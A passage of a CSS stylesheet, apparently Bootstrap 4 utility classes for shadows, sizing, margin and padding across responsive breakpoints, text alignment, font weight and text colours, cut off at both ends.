nowrap;\n  border: 0;\n}\n\n.sr-only-focusable:active, .sr-only-focusable:focus {\n  position: static;\n  width: auto;\n  height: auto;\n  overflow: visible;\n  clip: auto;\n  white-space: normal;\n}\n\n.shadow-sm {\n  box-shadow: 0 0.125rem 0.25rem rgba(0, 0, 0, 0.075) !important;\n}\n\n.shadow {\n  box-shadow: 0 0.5rem 1rem rgba(0, 0, 0, 0.15) !important;\n}\n\n.shadow-lg {\n  box-shadow: 0 1rem 3rem rgba(0, 0, 0, 0.175) !important;\n}\n\n.shadow-none {\n  box-shadow: none !important;\n}\n\n.w-25 {\n  width: 25% !important;\n}\n\n.w-50 {\n  width: 50% !important;\n}\n\n.w-75 {\n  width: 75% !important;\n}\n\n.w-100 {\n  width: 100% !important;\n}\n\n.w-auto {\n  width: auto !important;\n}\n\n.h-25 {\n  height: 25% !important;\n}\n\n.h-50 {\n  height: 50% !important;\n}\n\n.h-75 {\n  height: 75% !important;\n}\n\n.h-100 {\n  height: 100% !important;\n}\n\n.h-auto {\n  height: auto !important;\n}\n\n.mw-100 {\n  max-width: 100% !important;\n}\n\n.mh-100 {\n  max-height: 100% !important;\n}\n\n.m-0 {\n  margin: 0 !important;\n}\n\n.mt-0,\n.my-0 {\n  margin-top: 0 !important;\n}\n\n.mr-0,\n.mx-0 {\n  margin-right: 0 !important;\n}\n\n.mb-0,\n.my-0 {\n  margin-bottom: 0 !important;\n}\n\n.ml-0,\n.mx-0 {\n  margin-left: 0 !important;\n}\n\n.m-1 {\n  margin: 0.25rem !important;\n}\n\n.mt-1,\n.my-1 {\n  margin-top: 0.25rem !important;\n}\n\n.mr-1,\n.mx-1 {\n  margin-right: 0.25rem !important;\n}\n\n.mb-1,\n.my-1 {\n  margin-bottom: 0.25rem !important;\n}\n\n.ml-1,\n.mx-1 {\n  margin-left: 0.25rem !important;\n}\n\n.m-2 {\n  margin: 0.5rem !important;\n}\n\n.mt-2,\n.my-2 {\n  margin-top: 0.5rem !important;\n}\n\n.mr-2,\n.mx-2 {\n  margin-right: 0.5rem !important;\n}\n\n.mb-2,\n.my-2 {\n  margin-bottom: 0.5rem !important;\n}\n\n.ml-2,\n.mx-2 {\n  margin-left: 0.5rem !important;\n}\n\n.m-3 {\n  margin: 1rem !important;\n}\n\n.mt-3,\n.my-3 {\n  margin-top: 1rem !important;\n}\n\n.mr-3,\n.mx-3 {\n  margin-right: 1rem !important;\n}\n\n.mb-3,\n.my-3 {\n  margin-bottom: 1rem !important;\n}\n\n.ml-3,\n.mx-3 {\n  margin-left: 1rem !important;\n}\n\n.m-4 {\n  margin: 1.5rem !important;\n}\n\n.mt-4,\n.my-4 {\n  margin-top: 1.5rem !important;\n}\n\n.mr-4,\n.mx-4 {\n  margin-right: 1.5rem !important;\n}\n\n.mb-4,\n.my-4 {\n  margin-bottom: 1.5rem !important;\n}\n\n.ml-4,\n.mx-4 {\n  margin-left: 1.5rem !important;\n}\n\n.m-5 {\n  margin: 3rem !important;\n}\n\n.mt-5,\n.my-5 {\n  margin-top: 3rem !important;\n}\n\n.mr-5,\n.mx-5 {\n  margin-right: 3rem !important;\n}\n\n.mb-5,\n.my-5 {\n  margin-bottom: 3rem !important;\n}\n\n.ml-5,\n.mx-5 {\n  margin-left: 3rem !important;\n}\n\n.p-0 {\n  padding: 0 !important;\n}\n\n.pt-0,\n.py-0 {\n  padding-top: 0 !important;\n}\n\n.pr-0,\n.px-0 {\n  padding-right: 0 !important;\n}\n\n.pb-0,\n.py-0 {\n  padding-bottom: 0 !important;\n}\n\n.pl-0,\n.px-0 {\n  padding-left: 0 !important;\n}\n\n.p-1 {\n  padding: 0.25rem !important;\n}\n\n.pt-1,\n.py-1 {\n  padding-top: 0.25rem !important;\n}\n\n.pr-1,\n.px-1 {\n  padding-right: 0.25rem !important;\n}\n\n.pb-1,\n.py-1 {\n  padding-bottom: 0.25rem !important;\n}\n\n.pl-1,\n.px-1 {\n  padding-left: 0.25rem !important;\n}\n\n.p-2 {\n  padding: 0.5rem !important;\n}\n\n.pt-2,\n.py-2 {\n  padding-top: 0.5rem !important;\n}\n\n.pr-2,\n.px-2 {\n  padding-right: 0.5rem !important;\n}\n\n.pb-2,\n.py-2 {\n  padding-bottom: 0.5rem !important;\n}\n\n.pl-2,\n.px-2 {\n  padding-left: 0.5rem !important;\n}\n\n.p-3 {\n  padding: 1rem !important;\n}\n\n.pt-3,\n.py-3 {\n  padding-top: 1rem !important;\n}\n\n.pr-3,\n.px-3 {\n  padding-right: 1rem !important;\n}\n\n.pb-3,\n.py-3 {\n  padding-bottom: 1rem !important;\n}\n\n.pl-3,\n.px-3 {\n  padding-left: 1rem !important;\n}\n\n.p-4 {\n  padding: 1.5rem !important;\n}\n\n.pt-4,\n.py-4 {\n  padding-top: 1.5rem !important;\n}\n\n.pr-4,\n.px-4 {\n  padding-right: 1.5rem !important;\n}\n\n.pb-4,\n.py-4 {\n  padding-bottom: 1.5rem !important;\n}\n\n.pl-4,\n.px-4 {\n  padding-left: 1.5rem !important;\n}\n\n.p-5 {\n  padding: 3rem !important;\n}\n\n.pt-5,\n.py-5 {\n  padding-top: 3rem !important;\n}\n\n.pr-5,\n.px-5 {\n  padding-right: 3rem !important;\n}\n\n.pb-5,\n.py-5 {\n  padding-bottom: 3rem !important;\n}\n\n.pl-5,\n.px-5 {\n  padding-left: 3rem !important;\n}\n\n.m-auto {\n  margin: auto !important;\n}\n\n.mt-auto,\n.my-auto {\n  margin-top: auto !important;\n}\n\n.mr-auto,\n.mx-auto {\n  margin-right: auto !important;\n}\n\n.mb-auto,\n.my-auto {\n  margin-bottom: auto !important;\n}\n\n.ml-auto,\n.mx-auto {\n  margin-left: auto !important;\n}\n\n@media (min-width: 576px) {\n  .m-sm-0 {\n    margin: 0 !important;\n  }\n  .mt-sm-0,\n  .my-sm-0 {\n    margin-top: 0 !important;\n  }\n  .mr-sm-0,\n  .mx-sm-0 {\n    margin-right: 0 !important;\n  }\n  .mb-sm-0,\n  .my-sm-0 {\n    margin-bottom: 0 !important;\n  }\n  .ml-sm-0,\n  .mx-sm-0 {\n    margin-left: 0 !important;\n  }\n  .m-sm-1 {\n    margin: 0.25rem !important;\n  }\n  .mt-sm-1,\n  .my-sm-1 {\n    margin-top: 0.25rem !important;\n  }\n  .mr-sm-1,\n  .mx-sm-1 {\n    margin-right: 0.25rem !important;\n  }\n  .mb-sm-1,\n  .my-sm-1 {\n    margin-bottom: 0.25rem !important;\n  }\n  .ml-sm-1,\n  .mx-sm-1 {\n    margin-left: 0.25rem !important;\n  }\n  .m-sm-2 {\n    margin: 0.5rem !important;\n  }\n  .mt-sm-2,\n  .my-sm-2 {\n    margin-top: 0.5rem !important;\n  }\n  .mr-sm-2,\n  .mx-sm-2 {\n    margin-right: 0.5rem !important;\n  }\n  .mb-sm-2,\n  .my-sm-2 {\n    margin-bottom: 0.5rem !important;\n  }\n  .ml-sm-2,\n  .mx-sm-2 {\n    margin-left: 0.5rem !important;\n  }\n  .m-sm-3 {\n    margin: 1rem !important;\n  }\n  .mt-sm-3,\n  .my-sm-3 {\n    margin-top: 1rem !important;\n  }\n  .mr-sm-3,\n  .mx-sm-3 {\n    margin-right: 1rem !important;\n  }\n  .mb-sm-3,\n  .my-sm-3 {\n    margin-bottom: 1rem !important;\n  }\n  .ml-sm-3,\n  .mx-sm-3 {\n    margin-left: 1rem !important;\n  }\n  .m-sm-4 {\n    margin: 1.5rem !important;\n  }\n  .mt-sm-4,\n  .my-sm-4 {\n    margin-top: 1.5rem !important;\n  }\n  .mr-sm-4,\n  .mx-sm-4 {\n    margin-right: 1.5rem !important;\n  }\n  .mb-sm-4,\n  .my-sm-4 {\n    margin-bottom: 1.5rem !important;\n  }\n  .ml-sm-4,\n  .mx-sm-4 {\n    margin-left: 1.5rem !important;\n  }\n  .m-sm-5 {\n    margin: 3rem !important;\n  }\n  .mt-sm-5,\n  .my-sm-5 {\n    margin-top: 3rem !important;\n  }\n  .mr-sm-5,\n  .mx-sm-5 {\n    margin-right: 3rem !important;\n  }\n  .mb-sm-5,\n  .my-sm-5 {\n    margin-bottom: 3rem !important;\n  }\n  .ml-sm-5,\n  .mx-sm-5 {\n    margin-left: 3rem !important;\n  }\n  .p-sm-0 {\n    padding: 0 !important;\n  }\n  .pt-sm-0,\n  .py-sm-0 {\n    padding-top: 0 !important;\n  }\n  .pr-sm-0,\n  .px-sm-0 {\n    padding-right: 0 !important;\n  }\n  .pb-sm-0,\n  .py-sm-0 {\n    padding-bottom: 0 !important;\n  }\n  .pl-sm-0,\n  .px-sm-0 {\n    padding-left: 0 !important;\n  }\n  .p-sm-1 {\n    padding: 0.25rem !important;\n  }\n  .pt-sm-1,\n  .py-sm-1 {\n    padding-top: 0.25rem !important;\n  }\n  .pr-sm-1,\n  .px-sm-1 {\n    padding-right: 0.25rem !important;\n  }\n  .pb-sm-1,\n  .py-sm-1 {\n    padding-bottom: 0.25rem !important;\n  }\n  .pl-sm-1,\n  .px-sm-1 {\n    padding-left: 0.25rem !important;\n  }\n  .p-sm-2 {\n    padding: 0.5rem !important;\n  }\n  .pt-sm-2,\n  .py-sm-2 {\n    padding-top: 0.5rem !important;\n  }\n  .pr-sm-2,\n  .px-sm-2 {\n    padding-right: 0.5rem !important;\n  }\n  .pb-sm-2,\n  .py-sm-2 {\n    padding-bottom: 0.5rem !important;\n  }\n  .pl-sm-2,\n  .px-sm-2 {\n    padding-left: 0.5rem !important;\n  }\n  .p-sm-3 {\n    padding: 1rem !important;\n  }\n  .pt-sm-3,\n  .py-sm-3 {\n    padding-top: 1rem !important;\n  }\n  .pr-sm-3,\n  .px-sm-3 {\n    padding-right: 1rem !important;\n  }\n  .pb-sm-3,\n  .py-sm-3 {\n    padding-bottom: 1rem !important;\n  }\n  .pl-sm-3,\n  .px-sm-3 {\n    padding-left: 1rem !important;\n  }\n  .p-sm-4 {\n    padding: 1.5rem !important;\n  }\n  .pt-sm-4,\n  .py-sm-4 {\n    padding-top: 1.5rem !important;\n  }\n  .pr-sm-4,\n  .px-sm-4 {\n    padding-right: 1.5rem !important;\n  }\n  .pb-sm-4,\n  .py-sm-4 {\n    padding-bottom: 1.5rem !important;\n  }\n  .pl-sm-4,\n  .px-sm-4 {\n    padding-left: 1.5rem !important;\n  }\n  .p-sm-5 {\n    padding: 3rem !important;\n  }\n  .pt-sm-5,\n  .py-sm-5 {\n    padding-top: 3rem !important;\n  }\n  .pr-sm-5,\n  .px-sm-5 {\n    padding-right: 3rem !important;\n  }\n  .pb-sm-5,\n  .py-sm-5 {\n    padding-bottom: 3rem !important;\n  }\n  .pl-sm-5,\n  .px-sm-5 {\n    padding-left: 3rem !important;\n  }\n  .m-sm-auto {\n    margin: auto !important;\n  }\n  .mt-sm-auto,\n  .my-sm-auto {\n    margin-top: auto !important;\n  }\n  .mr-sm-auto,\n  .mx-sm-auto {\n    margin-right: auto !important;\n  }\n  .mb-sm-auto,\n  .my-sm-auto {\n    margin-bottom: auto !important;\n  }\n  .ml-sm-auto,\n  .mx-sm-auto {\n    margin-left: auto !important;\n  }\n}\n\n@media (min-width: 768px) {\n  .m-md-0 {\n    margin: 0 !important;\n  }\n  .mt-md-0,\n  .my-md-0 {\n    margin-top: 0 !important;\n  }\n  .mr-md-0,\n  .mx-md-0 {\n    margin-right: 0 !important;\n  }\n  .mb-md-0,\n  .my-md-0 {\n    margin-bottom: 0 !important;\n  }\n  .ml-md-0,\n  .mx-md-0 {\n    margin-left: 0 !important;\n  }\n  .m-md-1 {\n    margin: 0.25rem !important;\n  }\n  .mt-md-1,\n  .my-md-1 {\n    margin-top: 0.25rem !important;\n  }\n  .mr-md-1,\n  .mx-md-1 {\n    margin-right: 0.25rem !important;\n  }\n  .mb-md-1,\n  .my-md-1 {\n    margin-bottom: 0.25rem !important;\n  }\n  .ml-md-1,\n  .mx-md-1 {\n    margin-left: 0.25rem !important;\n  }\n  .m-md-2 {\n    margin: 0.5rem !important;\n  }\n  .mt-md-2,\n  .my-md-2 {\n    margin-top: 0.5rem !important;\n  }\n  .mr-md-2,\n  .mx-md-2 {\n    margin-right: 0.5rem !important;\n  }\n  .mb-md-2,\n  .my-md-2 {\n    margin-bottom: 0.5rem !important;\n  }\n  .ml-md-2,\n  .mx-md-2 {\n    margin-left: 0.5rem !important;\n  }\n  .m-md-3 {\n    margin: 1rem !important;\n  }\n  .mt-md-3,\n  .my-md-3 {\n    margin-top: 1rem !important;\n  }\n  .mr-md-3,\n  .mx-md-3 {\n    margin-right: 1rem !important;\n  }\n  .mb-md-3,\n  .my-md-3 {\n    margin-bottom: 1rem !important;\n  }\n  .ml-md-3,\n  .mx-md-3 {\n    margin-left: 1rem !important;\n  }\n  .m-md-4 {\n    margin: 1.5rem !important;\n  }\n  .mt-md-4,\n  .my-md-4 {\n    margin-top: 1.5rem !important;\n  }\n  .mr-md-4,\n  .mx-md-4 {\n    margin-right: 1.5rem !important;\n  }\n  .mb-md-4,\n  .my-md-4 {\n    margin-bottom: 1.5rem !important;\n  }\n  .ml-md-4,\n  .mx-md-4 {\n    margin-left: 1.5rem !important;\n  }\n  .m-md-5 {\n    margin: 3rem !important;\n  }\n  .mt-md-5,\n  .my-md-5 {\n    margin-top: 3rem !important;\n  }\n  .mr-md-5,\n  .mx-md-5 {\n    margin-right: 3rem !important;\n  }\n  .mb-md-5,\n  .my-md-5 {\n    margin-bottom: 3rem !important;\n  }\n  .ml-md-5,\n  .mx-md-5 {\n    margin-left: 3rem !important;\n  }\n  .p-md-0 {\n    padding: 0 !important;\n  }\n  .pt-md-0,\n  .py-md-0 {\n    padding-top: 0 !important;\n  }\n  .pr-md-0,\n  .px-md-0 {\n    padding-right: 0 !important;\n  }\n  .pb-md-0,\n  .py-md-0 {\n    padding-bottom: 0 !important;\n  }\n  .pl-md-0,\n  .px-md-0 {\n    padding-left: 0 !important;\n  }\n  .p-md-1 {\n    padding: 0.25rem !important;\n  }\n  .pt-md-1,\n  .py-md-1 {\n    padding-top: 0.25rem !important;\n  }\n  .pr-md-1,\n  .px-md-1 {\n    padding-right: 0.25rem !important;\n  }\n  .pb-md-1,\n  .py-md-1 {\n    padding-bottom: 0.25rem !important;\n  }\n  .pl-md-1,\n  .px-md-1 {\n    padding-left: 0.25rem !important;\n  }\n  .p-md-2 {\n    padding: 0.5rem !important;\n  }\n  .pt-md-2,\n  .py-md-2 {\n    padding-top: 0.5rem !important;\n  }\n  .pr-md-2,\n  .px-md-2 {\n    padding-right: 0.5rem !important;\n  }\n  .pb-md-2,\n  .py-md-2 {\n    padding-bottom: 0.5rem !important;\n  }\n  .pl-md-2,\n  .px-md-2 {\n    padding-left: 0.5rem !important;\n  }\n  .p-md-3 {\n    padding: 1rem !important;\n  }\n  .pt-md-3,\n  .py-md-3 {\n    padding-top: 1rem !important;\n  }\n  .pr-md-3,\n  .px-md-3 {\n    padding-right: 1rem !important;\n  }\n  .pb-md-3,\n  .py-md-3 {\n    padding-bottom: 1rem !important;\n  }\n  .pl-md-3,\n  .px-md-3 {\n    padding-left: 1rem !important;\n  }\n  .p-md-4 {\n    padding: 1.5rem !important;\n  }\n  .pt-md-4,\n  .py-md-4 {\n    padding-top: 1.5rem !important;\n  }\n  .pr-md-4,\n  .px-md-4 {\n    padding-right: 1.5rem !important;\n  }\n  .pb-md-4,\n  .py-md-4 {\n    padding-bottom: 1.5rem !important;\n  }\n  .pl-md-4,\n  .px-md-4 {\n    padding-left: 1.5rem !important;\n  }\n  .p-md-5 {\n    padding: 3rem !important;\n  }\n  .pt-md-5,\n  .py-md-5 {\n    padding-top: 3rem !important;\n  }\n  .pr-md-5,\n  .px-md-5 {\n    padding-right: 3rem !important;\n  }\n  .pb-md-5,\n  .py-md-5 {\n    padding-bottom: 3rem !important;\n  }\n  .pl-md-5,\n  .px-md-5 {\n    padding-left: 3rem !important;\n  }\n  .m-md-auto {\n    margin: auto !important;\n  }\n  .mt-md-auto,\n  .my-md-auto {\n    margin-top: auto !important;\n  }\n  .mr-md-auto,\n  .mx-md-auto {\n    margin-right: auto !important;\n  }\n  .mb-md-auto,\n  .my-md-auto {\n    margin-bottom: auto !important;\n  }\n  .ml-md-auto,\n  .mx-md-auto {\n    margin-left: auto !important;\n  }\n}\n\n@media (min-width: 992px) {\n  .m-lg-0 {\n    margin: 0 !important;\n  }\n  .mt-lg-0,\n  .my-lg-0 {\n    margin-top: 0 !important;\n  }\n  .mr-lg-0,\n  .mx-lg-0 {\n    margin-right: 0 !important;\n  }\n  .mb-lg-0,\n  .my-lg-0 {\n    margin-bottom: 0 !important;\n  }\n  .ml-lg-0,\n  .mx-lg-0 {\n    margin-left: 0 !important;\n  }\n  .m-lg-1 {\n    margin: 0.25rem !important;\n  }\n  .mt-lg-1,\n  .my-lg-1 {\n    margin-top: 0.25rem !important;\n  }\n  .mr-lg-1,\n  .mx-lg-1 {\n    margin-right: 0.25rem !important;\n  }\n  .mb-lg-1,\n  .my-lg-1 {\n    margin-bottom: 0.25rem !important;\n  }\n  .ml-lg-1,\n  .mx-lg-1 {\n    margin-left: 0.25rem !important;\n  }\n  .m-lg-2 {\n    margin: 0.5rem !important;\n  }\n  .mt-lg-2,\n  .my-lg-2 {\n    margin-top: 0.5rem !important;\n  }\n  .mr-lg-2,\n  .mx-lg-2 {\n    margin-right: 0.5rem !important;\n  }\n  .mb-lg-2,\n  .my-lg-2 {\n    margin-bottom: 0.5rem !important;\n  }\n  .ml-lg-2,\n  .mx-lg-2 {\n    margin-left: 0.5rem !important;\n  }\n  .m-lg-3 {\n    margin: 1rem !important;\n  }\n  .mt-lg-3,\n  .my-lg-3 {\n    margin-top: 1rem !important;\n  }\n  .mr-lg-3,\n  .mx-lg-3 {\n    margin-right: 1rem !important;\n  }\n  .mb-lg-3,\n  .my-lg-3 {\n    margin-bottom: 1rem !important;\n  }\n  .ml-lg-3,\n  .mx-lg-3 {\n    margin-left: 1rem !important;\n  }\n  .m-lg-4 {\n    margin: 1.5rem !important;\n  }\n  .mt-lg-4,\n  .my-lg-4 {\n    margin-top: 1.5rem !important;\n  }\n  .mr-lg-4,\n  .mx-lg-4 {\n    margin-right: 1.5rem !important;\n  }\n  .mb-lg-4,\n  .my-lg-4 {\n    margin-bottom: 1.5rem !important;\n  }\n  .ml-lg-4,\n  .mx-lg-4 {\n    margin-left: 1.5rem !important;\n  }\n  .m-lg-5 {\n    margin: 3rem !important;\n  }\n  .mt-lg-5,\n  .my-lg-5 {\n    margin-top: 3rem !important;\n  }\n  .mr-lg-5,\n  .mx-lg-5 {\n    margin-right: 3rem !important;\n  }\n  .mb-lg-5,\n  .my-lg-5 {\n    margin-bottom: 3rem !important;\n  }\n  .ml-lg-5,\n  .mx-lg-5 {\n    margin-left: 3rem !important;\n  }\n  .p-lg-0 {\n    padding: 0 !important;\n  }\n  .pt-lg-0,\n  .py-lg-0 {\n    padding-top: 0 !important;\n  }\n  .pr-lg-0,\n  .px-lg-0 {\n    padding-right: 0 !important;\n  }\n  .pb-lg-0,\n  .py-lg-0 {\n    padding-bottom: 0 !important;\n  }\n  .pl-lg-0,\n  .px-lg-0 {\n    padding-left: 0 !important;\n  }\n  .p-lg-1 {\n    padding: 0.25rem !important;\n  }\n  .pt-lg-1,\n  .py-lg-1 {\n    padding-top: 0.25rem !important;\n  }\n  .pr-lg-1,\n  .px-lg-1 {\n    padding-right: 0.25rem !important;\n  }\n  .pb-lg-1,\n  .py-lg-1 {\n    padding-bottom: 0.25rem !important;\n  }\n  .pl-lg-1,\n  .px-lg-1 {\n    padding-left: 0.25rem !important;\n  }\n  .p-lg-2 {\n    padding: 0.5rem !important;\n  }\n  .pt-lg-2,\n  .py-lg-2 {\n    padding-top: 0.5rem !important;\n  }\n  .pr-lg-2,\n  .px-lg-2 {\n    padding-right: 0.5rem !important;\n  }\n  .pb-lg-2,\n  .py-lg-2 {\n    padding-bottom: 0.5rem !important;\n  }\n  .pl-lg-2,\n  .px-lg-2 {\n    padding-left: 0.5rem !important;\n  }\n  .p-lg-3 {\n    padding: 1rem !important;\n  }\n  .pt-lg-3,\n  .py-lg-3 {\n    padding-top: 1rem !important;\n  }\n  .pr-lg-3,\n  .px-lg-3 {\n    padding-right: 1rem !important;\n  }\n  .pb-lg-3,\n  .py-lg-3 {\n    padding-bottom: 1rem !important;\n  }\n  .pl-lg-3,\n  .px-lg-3 {\n    padding-left: 1rem !important;\n  }\n  .p-lg-4 {\n    padding: 1.5rem !important;\n  }\n  .pt-lg-4,\n  .py-lg-4 {\n    padding-top: 1.5rem !important;\n  }\n  .pr-lg-4,\n  .px-lg-4 {\n    padding-right: 1.5rem !important;\n  }\n  .pb-lg-4,\n  .py-lg-4 {\n    padding-bottom: 1.5rem !important;\n  }\n  .pl-lg-4,\n  .px-lg-4 {\n    padding-left: 1.5rem !important;\n  }\n  .p-lg-5 {\n    padding: 3rem !important;\n  }\n  .pt-lg-5,\n  .py-lg-5 {\n    padding-top: 3rem !important;\n  }\n  .pr-lg-5,\n  .px-lg-5 {\n    padding-right: 3rem !important;\n  }\n  .pb-lg-5,\n  .py-lg-5 {\n    padding-bottom: 3rem !important;\n  }\n  .pl-lg-5,\n  .px-lg-5 {\n    padding-left: 3rem !important;\n  }\n  .m-lg-auto {\n    margin: auto !important;\n  }\n  .mt-lg-auto,\n  .my-lg-auto {\n    margin-top: auto !important;\n  }\n  .mr-lg-auto,\n  .mx-lg-auto {\n    margin-right: auto !important;\n  }\n  .mb-lg-auto,\n  .my-lg-auto {\n    margin-bottom: auto !important;\n  }\n  .ml-lg-auto,\n  .mx-lg-auto {\n    margin-left: auto !important;\n  }\n}\n\n@media (min-width: 1200px) {\n  .m-xl-0 {\n    margin: 0 !important;\n  }\n  .mt-xl-0,\n  .my-xl-0 {\n    margin-top: 0 !important;\n  }\n  .mr-xl-0,\n  .mx-xl-0 {\n    margin-right: 0 !important;\n  }\n  .mb-xl-0,\n  .my-xl-0 {\n    margin-bottom: 0 !important;\n  }\n  .ml-xl-0,\n  .mx-xl-0 {\n    margin-left: 0 !important;\n  }\n  .m-xl-1 {\n    margin: 0.25rem !important;\n  }\n  .mt-xl-1,\n  .my-xl-1 {\n    margin-top: 0.25rem !important;\n  }\n  .mr-xl-1,\n  .mx-xl-1 {\n    margin-right: 0.25rem !important;\n  }\n  .mb-xl-1,\n  .my-xl-1 {\n    margin-bottom: 0.25rem !important;\n  }\n  .ml-xl-1,\n  .mx-xl-1 {\n    margin-left: 0.25rem !important;\n  }\n  .m-xl-2 {\n    margin: 0.5rem !important;\n  }\n  .mt-xl-2,\n  .my-xl-2 {\n    margin-top: 0.5rem !important;\n  }\n  .mr-xl-2,\n  .mx-xl-2 {\n    margin-right: 0.5rem !important;\n  }\n  .mb-xl-2,\n  .my-xl-2 {\n    margin-bottom: 0.5rem !important;\n  }\n  .ml-xl-2,\n  .mx-xl-2 {\n    margin-left: 0.5rem !important;\n  }\n  .m-xl-3 {\n    margin: 1rem !important;\n  }\n  .mt-xl-3,\n  .my-xl-3 {\n    margin-top: 1rem !important;\n  }\n  .mr-xl-3,\n  .mx-xl-3 {\n    margin-right: 1rem !important;\n  }\n  .mb-xl-3,\n  .my-xl-3 {\n    margin-bottom: 1rem !important;\n  }\n  .ml-xl-3,\n  .mx-xl-3 {\n    margin-left: 1rem !important;\n  }\n  .m-xl-4 {\n    margin: 1.5rem !important;\n  }\n  .mt-xl-4,\n  .my-xl-4 {\n    margin-top: 1.5rem !important;\n  }\n  .mr-xl-4,\n  .mx-xl-4 {\n    margin-right: 1.5rem !important;\n  }\n  .mb-xl-4,\n  .my-xl-4 {\n    margin-bottom: 1.5rem !important;\n  }\n  .ml-xl-4,\n  .mx-xl-4 {\n    margin-left: 1.5rem !important;\n  }\n  .m-xl-5 {\n    margin: 3rem !important;\n  }\n  .mt-xl-5,\n  .my-xl-5 {\n    margin-top: 3rem !important;\n  }\n  .mr-xl-5,\n  .mx-xl-5 {\n    margin-right: 3rem !important;\n  }\n  .mb-xl-5,\n  .my-xl-5 {\n    margin-bottom: 3rem !important;\n  }\n  .ml-xl-5,\n  .mx-xl-5 {\n    margin-left: 3rem !important;\n  }\n  .p-xl-0 {\n    padding: 0 !important;\n  }\n  .pt-xl-0,\n  .py-xl-0 {\n    padding-top: 0 !important;\n  }\n  .pr-xl-0,\n  .px-xl-0 {\n    padding-right: 0 !important;\n  }\n  .pb-xl-0,\n  .py-xl-0 {\n    padding-bottom: 0 !important;\n  }\n  .pl-xl-0,\n  .px-xl-0 {\n    padding-left: 0 !important;\n  }\n  .p-xl-1 {\n    padding: 0.25rem !important;\n  }\n  .pt-xl-1,\n  .py-xl-1 {\n    padding-top: 0.25rem !important;\n  }\n  .pr-xl-1,\n  .px-xl-1 {\n    padding-right: 0.25rem !important;\n  }\n  .pb-xl-1,\n  .py-xl-1 {\n    padding-bottom: 0.25rem !important;\n  }\n  .pl-xl-1,\n  .px-xl-1 {\n    padding-left: 0.25rem !important;\n  }\n  .p-xl-2 {\n    padding: 0.5rem !important;\n  }\n  .pt-xl-2,\n  .py-xl-2 {\n    padding-top: 0.5rem !important;\n  }\n  .pr-xl-2,\n  .px-xl-2 {\n    padding-right: 0.5rem !important;\n  }\n  .pb-xl-2,\n  .py-xl-2 {\n    padding-bottom: 0.5rem !important;\n  }\n  .pl-xl-2,\n  .px-xl-2 {\n    padding-left: 0.5rem !important;\n  }\n  .p-xl-3 {\n    padding: 1rem !important;\n  }\n  .pt-xl-3,\n  .py-xl-3 {\n    padding-top: 1rem !important;\n  }\n  .pr-xl-3,\n  .px-xl-3 {\n    padding-right: 1rem !important;\n  }\n  .pb-xl-3,\n  .py-xl-3 {\n    padding-bottom: 1rem !important;\n  }\n  .pl-xl-3,\n  .px-xl-3 {\n    padding-left: 1rem !important;\n  }\n  .p-xl-4 {\n    padding: 1.5rem !important;\n  }\n  .pt-xl-4,\n  .py-xl-4 {\n    padding-top: 1.5rem !important;\n  }\n  .pr-xl-4,\n  .px-xl-4 {\n    padding-right: 1.5rem !important;\n  }\n  .pb-xl-4,\n  .py-xl-4 {\n    padding-bottom: 1.5rem !important;\n  }\n  .pl-xl-4,\n  .px-xl-4 {\n    padding-left: 1.5rem !important;\n  }\n  .p-xl-5 {\n    padding: 3rem !important;\n  }\n  .pt-xl-5,\n  .py-xl-5 {\n    padding-top: 3rem !important;\n  }\n  .pr-xl-5,\n  .px-xl-5 {\n    padding-right: 3rem !important;\n  }\n  .pb-xl-5,\n  .py-xl-5 {\n    padding-bottom: 3rem !important;\n  }\n  .pl-xl-5,\n  .px-xl-5 {\n    padding-left: 3rem !important;\n  }\n  .m-xl-auto {\n    margin: auto !important;\n  }\n  .mt-xl-auto,\n  .my-xl-auto {\n    margin-top: auto !important;\n  }\n  .mr-xl-auto,\n  .mx-xl-auto {\n    margin-right: auto !important;\n  }\n  .mb-xl-auto,\n  .my-xl-auto {\n    margin-bottom: auto !important;\n  }\n  .ml-xl-auto,\n  .mx-xl-auto {\n    margin-left: auto !important;\n  }\n}\n\n.text-monospace {\n  font-family: SFMono-Regular, Menlo, Monaco, Consolas, \"Liberation Mono\", \"Courier New\", monospace;\n}\n\n.text-justify {\n  text-align: justify !important;\n}\n\n.text-nowrap {\n  white-space: nowrap !important;\n}\n\n.text-truncate {\n  overflow: hidden;\n  text-overflow: ellipsis;\n  white-space: nowrap;\n}\n\n.text-left {\n  text-align: left !important;\n}\n\n.text-right {\n  text-align: right !important;\n}\n\n.text-center {\n  text-align: center !important;\n}\n\n@media (min-width: 576px) {\n  .text-sm-left {\n    text-align: left !important;\n  }\n  .text-sm-right {\n    text-align: right !important;\n  }\n  .text-sm-center {\n    text-align: center !important;\n  }\n}\n\n@media (min-width: 768px) {\n  .text-md-left {\n    text-align: left !important;\n  }\n  .text-md-right {\n    text-align: right !important;\n  }\n  .text-md-center {\n    text-align: center !important;\n  }\n}\n\n@media (min-width: 992px) {\n  .text-lg-left {\n    text-align: left !important;\n  }\n  .text-lg-right {\n    text-align: right !important;\n  }\n  .text-lg-center {\n    text-align: center !important;\n  }\n}\n\n@media (min-width: 1200px) {\n  .text-xl-left {\n    text-align: left !important;\n  }\n  .text-xl-right {\n    text-align: right !important;\n  }\n  .text-xl-center {\n    text-align: center !important;\n  }\n}\n\n.text-lowercase {\n  text-transform: lowercase !important;\n}\n\n.text-uppercase {\n  text-transform: uppercase !important;\n}\n\n.text-capitalize {\n  text-transform: capitalize !important;\n}\n\n.font-weight-light {\n  font-weight: 300 !important;\n}\n\n.font-weight-normal {\n  font-weight: 400 !important;\n}\n\n.font-weight-bold {\n  font-weight: 700 !important;\n}\n\n.font-italic {\n  font-style: italic !important;\n}\n\n.text-white {\n  color: #fff !important;\n}\n\n.text-primary {\n  color: #007bff !important;\n}\n\na.text-primary:hover, a.text-primary:focus {\n  color: #0062cc !important;\n}\n\n.text-secondary {\n  color: #6c757d !important;\n}\n\na.text-secondary:hover, a.text-secondary:focus {\n  color: #545b62 !important;\n}\n\n.text-success {\n  color: #28a745 !important;\n}\n\na.text-success:hover, a.text-success:focus {\n  color: #1e7e34 !important;\n}\n\n.text-info {\n  color: #17a2b8 !important;\n}\n\na.text-info:hover, a.text-info:focus {\n  color: #117a8b !important;\n}\n\n.text-warning {\n  color: #ffc107 !important;\n}\n\na.text-warning:hover, a.text-warning:focus {\n  color: #d39e00 !important;\n}\n\n.text-danger {\n  color: #dc3545 !important;\n}\n\na.text-danger:hover, a.text-danger:focus {\n  color: #bd2130 !important;\n}\n\n.text-light {\n  color: #f8f9fa !important;\n}\n\na.text-light:hover, a.text-light:focus {\n  color: #dae0e5 !important;\n}\n\n.text-dark {\n  color: #343a40 !important;\n}\n\na.text-dark:hover, a.text-dark:focus {\n  color: 